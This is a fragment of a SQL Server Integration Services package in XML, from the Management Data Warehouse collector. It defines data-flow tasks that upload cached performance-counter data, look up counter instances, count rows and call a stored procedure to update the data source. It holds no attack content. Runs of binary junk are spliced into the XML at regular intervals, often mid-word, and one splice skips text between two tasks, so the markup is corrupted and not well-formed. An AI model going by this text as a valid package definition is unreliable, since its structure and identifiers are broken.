Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows failed to insert.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of rows from cache" validateExternalMetadata="False"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountIn</property></properties><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of rows inserted" validateExternalMetadata="False"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountOut</property></properties><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Derived Column Output]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted.Inputs[Row Count Input 1]" name="Derived Column Output" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output]"/><path refId="P	!!!!!!!!!!!!!!!!!!!!!!!!`6){%Hvackage\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Failed Rows]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows failed to insert.Inputs[Row Count Input 1]" name="Failed Rows" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Outputs[OLE DB Destination Error Output]"/><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Lookup Match Output]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Inputs[Derived Column Input]" name="Lookup Match Output" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Match Output]"/><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Raw File Source Output]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache.Inputs[Row Count Input 1]" name="Raw File Source Output" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output]"/><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Row Count Output 1]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input]" name="Row Count Output 1" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows from cache.Outputs[Row Count Output 1]"/><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW.Paths[Row Count Output 11]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input]" name="Row Count Output 1" startId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows inserted.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{E24F9238-4DE6-4DFE-97B9-35990020B45A}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Update perf_counters_instances table with newly discovered instances" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" defaultBufferMaxRows="1000" defaultBufferSize="1048576" engineThreads="2" version="1"><components><component refId="Package\FEF - For Each Collected Cache File	!!!!!!!!!!!!!!!!!!!!!!!!`6-ڴHv Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type)" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" localeId="1033" name="ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type)" usesDispositions="true" validateExternalMetadata="False" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[performance_counter_instances]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions"/><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">1000</property></properties><connections><connection refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (toget	!!!!!!!!!!!!!!!!!!!!!!!!`6Hvher with thier type).Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="IgnoreFailure" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].Columns[path]" cachedDataType="wstr" cachedLength="2048" cachedName="path" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[path]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[path]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].Columns[counter_type]" cachedDataType="i4" cachedName="counter_type" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[counter_type]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_type]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].Columns[object_name]" cachedDataType="wstr" cachedLength="2048" cachedName="object_name" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[object_name]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[object_name]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].Columns[counter_name]" cachedDataType="wstr" cachedLength="2048" cachedName="counter_name" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovere	!!!!!!!!!!!!!!!!!!!!!!!!`6C Hvd (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[counter_name]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_name]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].Columns[instance_name]" cachedDataType="wstr" cachedLength="2048" cachedName="instance_name" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[instance_name]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[instance_name]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[performance_counter_id]" dataType="i4" name="performance_counter_id"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[path]" dataType="wstr" length="2048" name="path"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[counter_type]" dataType="i4" name="counter_type"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[object_name]" dataType="wstr" length="2048" name="object_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[counter_name]" dataType="wstr" length="2048" name="counter_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input].ExternalColumns[instance_name]" dataType="wstr" length="2048" name="instance_name"/></externalMetadataColumns><	!!!!!!!!!!!!!!!!!!!!!!!!`6	R#Hv/input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths" componentClassID="{480C7D5A-CE63-405C-B338-3C7F26560EE3}" contactInfo="Extracts data from a raw file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Extracts data from a raw file." localeId="1033" name="RAW - Read current tempoary storage - purpose - obtain counter paths" validateExternalMetadata="False" version="1"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CacheFileToUpload</property></properties><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output]" name="Raw File Source Output"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remainin	!!!!!!!!!!!!!!!!!!!!!!!!`6
Hvg, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[collection_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[collection_time]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[path]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[path]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[path]" name="path"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[formatted_value]" dataType="r8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[formatted_value]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[formatted_value]" name="formatted_value"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[raw_value_first]" dataType="i8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[raw_value_first]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[raw_value_first]" name="raw_value_first"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[raw_value_second]" dataType="i8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table	!!!!!!!!!!!!!!!!!!!!!!!!`69M(5Hv with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[raw_value_second]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[raw_value_second]" name="raw_value_second"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_type]" dataType="i4" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[counter_type]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_type]" name="counter_type"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[object_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[object_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[object_name]" name="object_name"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[instance_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[instance_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[instance_name]" name="instance_name"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[counter_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current t	!!!!!!!!!!!!!!!!!!!!!!!!`6OVHvempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].Columns[counter_name]" name="counter_name"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[path]" dataType="wstr" length="2048" name="path"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[formatted_value]" dataType="r8" name="formatted_value"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[raw_value_first]" dataType="i8" name="raw_value_first"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[raw_value_second]" dataType="i8" name="raw_value_second"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[counter_type]" dataType="i4" name="counter_type"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[object_name]" dataType="wstr" length="2048" name="object_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[instance_name]" dataType="wstr" length="2048" name="instance_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output].ExternalColumns[counter_name]" dataType="wstr" length="2048" name="counter_name"/></externalMetadataColumns></output></outputs></component></components><paths><path refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances.Paths[Raw File Source Output]" endId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances\ODB - Fast upload data to performance_counters_instances for the new instance path-s that we discovered (together with thier type).Inputs[OLE DB Destination Input]" name="Raw File Source Output" startId="Package\FEF - For Each Collected Cache File Remaining, Try 	!!!!!!!!!!!!!!!!!!!!!!!!`\	 6
H4DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{68AAF105-9266-4AA6-A164-CD0A512B42D3}" SQLTask:SqlStatementSource="execute [core].[sp_update_data_source]&#x0A;  @collection_set_uid=?&#x0A;, @machine_name=?&#x0A;, @named_instance=?&#x0A;, @days_until_expiration=?&#x0A;, @source_id=? OUTPUT&#x0A;"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::DaysUntilExpiration" SQLTask:ParameterDirection="Input" SQLTask:DataType="2" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::SourceID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" 